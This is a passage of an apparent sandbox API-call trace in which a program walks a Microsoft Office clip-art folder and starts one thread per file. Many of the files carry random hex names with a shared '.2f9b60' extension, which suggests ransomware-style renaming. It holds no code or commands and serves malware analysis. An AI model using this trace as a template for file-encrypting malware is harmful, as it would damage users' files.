dwReserved0=0x0, dwReserved1=0x0, cFileName="e93de0b1c0f2.2f9b60", cAlternateFileName="E93DE0~1.2F9")) returned 1 [0145.917] wcscmp (_String1="e93de0b1c0f2.2f9b60", _String2=".") returned 1 [0145.917] wcscmp (_String1="e93de0b1c0f2.2f9b60", _String2="..") returned 1 [0145.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x205072b0 [0145.918] wcscpy (in: _Dest=0x205072b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.918] wcscat (in: _Dest=0x205072b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.918] wcscat (in: _Dest=0x205072b0, _Source="e93de0b1c0f2.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e93de0b1c0f2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e93de0b1c0f2.2f9b60" [0145.918] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205072b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20e0 [0145.919] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a40fd00, ftCreationTime.dwHighDateTime=0x1bd4b27, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a40fd00, ftLastWriteTime.dwHighDateTime=0x1bd4b27, nFileSizeHigh=0x0, nFileSizeLow=0x4fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9e5e74e74d4.2f9b60", cAlternateFileName="E9E5E7~1.2F9")) returned 1 [0145.919] wcscmp (_String1="e9e5e74e74d4.2f9b60", _String2=".") returned 1 [0145.919] wcscmp (_String1="e9e5e74e74d4.2f9b60", _String2="..") returned 1 [0145.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507210 [0145.919] wcscpy (in: _Dest=0x20507210, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.919] wcscat (in: _Dest=0x20507210, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.919] wcscat (in: _Dest=0x20507210, _Source="e9e5e74e74d4.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e9e5e74e74d4.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e9e5e74e74d4.2f9b60" [0145.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20e4 [0145.920] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f48c00, ftCreationTime.dwHighDateTime=0x1bd4d56, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe4f48c00, ftLastWriteTime.dwHighDateTime=0x1bd4d56, nFileSizeHigh=0x0, nFileSizeLow=0x3e7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea32907dfb1f.2f9b60", cAlternateFileName="EA3290~1.2F9")) returned 1 [0145.920] wcscmp (_String1="ea32907dfb1f.2f9b60", _String2=".") returned 1 [0145.920] wcscmp (_String1="ea32907dfb1f.2f9b60", _String2="..") returned 1 [0145.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x205070d0 [0145.920] wcscpy (in: _Dest=0x205070d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.920] wcscat (in: _Dest=0x205070d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.920] wcscat (in: _Dest=0x205070d0, _Source="ea32907dfb1f.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ea32907dfb1f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ea32907dfb1f.2f9b60" [0145.920] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x205070d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20e8 [0145.921] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51e3fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1 [0145.921] wcscmp (_String1="EAST_01.MID", _String2=".") returned 1 [0145.921] wcscmp (_String1="EAST_01.MID", _String2="..") returned 1 [0145.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4c7b0 [0145.921] wcscpy (in: _Dest=0x1cf4c7b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.921] wcscat (in: _Dest=0x1cf4c7b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.921] wcscat (in: _Dest=0x1cf4c7b0, _Source="EAST_01.MID" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" [0145.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c7b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20ec [0145.922] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2290, dwReserved0=0x0, dwReserved1=0x0, cFileName="eb26ee575e18.2f9b60", cAlternateFileName="EB26EE~1.2F9")) returned 1 [0145.922] wcscmp (_String1="eb26ee575e18.2f9b60", _String2=".") returned 1 [0145.923] wcscmp (_String1="eb26ee575e18.2f9b60", _String2="..") returned 1 [0145.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507030 [0145.923] wcscpy (in: _Dest=0x20507030, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.923] wcscat (in: _Dest=0x20507030, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.923] wcscat (in: _Dest=0x20507030, _Source="eb26ee575e18.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb26ee575e18.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\eb26ee575e18.2f9b60" [0145.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20f0 [0145.924] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f86, dwReserved0=0x0, dwReserved1=0x0, cFileName="ec48154fc892.2f9b60", cAlternateFileName="EC4815~1.2F9")) returned 1 [0145.924] wcscmp (_String1="ec48154fc892.2f9b60", _String2=".") returned 1 [0145.924] wcscmp (_String1="ec48154fc892.2f9b60", _String2="..") returned 1 [0145.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20506f90 [0145.924] wcscpy (in: _Dest=0x20506f90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.924] wcscat (in: _Dest=0x20506f90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.924] wcscat (in: _Dest=0x20506f90, _Source="ec48154fc892.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec48154fc892.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec48154fc892.2f9b60" [0145.924] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20f4 [0145.925] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2a9800, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x519ef6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd2a9800, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0xfce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ec7b0ae309a6.2f9b60", cAlternateFileName="EC7B0A~1.2F9")) returned 1 [0145.925] wcscmp (_String1="ec7b0ae309a6.2f9b60", _String2=".") returned 1 [0145.925] wcscmp (_String1="ec7b0ae309a6.2f9b60", _String2="..") returned 1 [0145.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20506d10 [0145.926] wcscpy (in: _Dest=0x20506d10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.926] wcscat (in: _Dest=0x20506d10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.926] wcscat (in: _Dest=0x20506d10, _Source="ec7b0ae309a6.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec7b0ae309a6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ec7b0ae309a6.2f9b60" [0145.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20f8 [0145.927] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd787d00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd787d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1 [0145.927] wcscmp (_String1="ED00010_.WMF", _String2=".") returned 1 [0145.927] wcscmp (_String1="ED00010_.WMF", _String2="..") returned 1 [0145.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4d260 [0145.927] wcscpy (in: _Dest=0x1cf4d260, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.927] wcscat (in: _Dest=0x1cf4d260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.927] wcscat (in: _Dest=0x1cf4d260, _Source="ED00010_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00010_.WMF" [0145.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20fc [0145.928] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a81c00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x51f4a830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2a81c00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1 [0145.928] wcscmp (_String1="ED00019_.WMF", _String2=".") returned 1 [0145.928] wcscmp (_String1="ED00019_.WMF", _String2="..") returned 1 [0145.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4cc30 [0145.928] wcscpy (in: _Dest=0x1cf4cc30, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.928] wcscat (in: _Dest=0x1cf4cc30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.929] wcscat (in: _Dest=0x1cf4cc30, _Source="ED00019_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" [0145.929] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4cc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2100 [0145.929] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc465ee00, ftCreationTime.dwHighDateTime=0x1bd4bff, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc465ee00, ftLastWriteTime.dwHighDateTime=0x1bd4bff, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1 [0145.930] wcscmp (_String1="ED00172_.WMF", _String2=".") returned 1 [0145.930] wcscmp (_String1="ED00172_.WMF", _String2="..") returned 1 [0145.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4c960 [0145.930] wcscpy (in: _Dest=0x1cf4c960, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.930] wcscat (in: _Dest=0x1cf4c960, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.930] wcscat (in: _Dest=0x1cf4c960, _Source="ED00172_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" [0145.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4c960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2104 [0145.931] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95cb3000, ftCreationTime.dwHighDateTime=0x1bd4c5e, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95cb3000, ftLastWriteTime.dwHighDateTime=0x1bd4c5e, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1 [0145.931] wcscmp (_String1="ED00184_.WMF", _String2=".") returned 1 [0145.931] wcscmp (_String1="ED00184_.WMF", _String2="..") returned 1 [0145.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1cf4e4f0 [0145.931] wcscpy (in: _Dest=0x1cf4e4f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.931] wcscat (in: _Dest=0x1cf4e4f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.931] wcscat (in: _Dest=0x1cf4e4f0, _Source="ED00184_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" [0145.931] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e4f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2108 [0145.932] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c60b600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c60b600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x32fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="ed6ebb2703c3.2f9b60", cAlternateFileName="ED6EBB~1.2F9")) returned 1 [0145.932] wcscmp (_String1="ed6ebb2703c3.2f9b60", _String2=".") returned 1 [0145.932] wcscmp (_String1="ed6ebb2703c3.2f9b60", _String2="..") returned 1 [0145.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507170 [0145.933] wcscpy (in: _Dest=0x20507170, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.933] wcscat (in: _Dest=0x20507170, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.933] wcscat (in: _Dest=0x20507170, _Source="ed6ebb2703c3.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ed6ebb2703c3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ed6ebb2703c3.2f9b60" [0145.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210c [0145.933] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f738600, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f738600, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x147a, dwReserved0=0x0, dwReserved1=0x0, cFileName="edd81f4eb196.2f9b60", cAlternateFileName="EDD81F~1.2F9")) returned 1 [0145.934] wcscmp (_String1="edd81f4eb196.2f9b60", _String2=".") returned 1 [0145.934] wcscmp (_String1="edd81f4eb196.2f9b60", _String2="..") returned 1 [0145.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20506ef0 [0145.934] wcscpy (in: _Dest=0x20506ef0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.934] wcscat (in: _Dest=0x20506ef0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.934] wcscat (in: _Dest=0x20506ef0, _Source="edd81f4eb196.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edd81f4eb196.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edd81f4eb196.2f9b60" [0145.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2110 [0145.935] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="edf2c5fc.2f9b60", cAlternateFileName="EDF2C5~1.2F9")) returned 1 [0145.935] wcscmp (_String1="edf2c5fc.2f9b60", _String2=".") returned 1 [0145.935] wcscmp (_String1="edf2c5fc.2f9b60", _String2="..") returned 1 [0145.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1cf4e220 [0145.935] wcscpy (in: _Dest=0x1cf4e220, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.935] wcscat (in: _Dest=0x1cf4e220, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.935] wcscat (in: _Dest=0x1cf4e220, _Source="edf2c5fc.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edf2c5fc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\edf2c5fc.2f9b60" [0145.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4e220, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2114 [0145.936] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1230, dwReserved0=0x0, dwReserved1=0x0, cFileName="ee1b1d194319.2f9b60", cAlternateFileName="EE1B1D~1.2F9")) returned 1 [0145.936] wcscmp (_String1="ee1b1d194319.2f9b60", _String2=".") returned 1 [0145.936] wcscmp (_String1="ee1b1d194319.2f9b60", _String2="..") returned 1 [0145.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20506e50 [0145.936] wcscpy (in: _Dest=0x20506e50, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0145.936] wcscat (in: _Dest=0x20506e50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0145.936] wcscat (in: _Dest=0x20506e50, _Source="ee1b1d194319.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ee1b1d194319.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ee1b1d194319.2f9b60" [0145.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20506e50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2118 [0145.937] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d81900, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x27d81900, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, 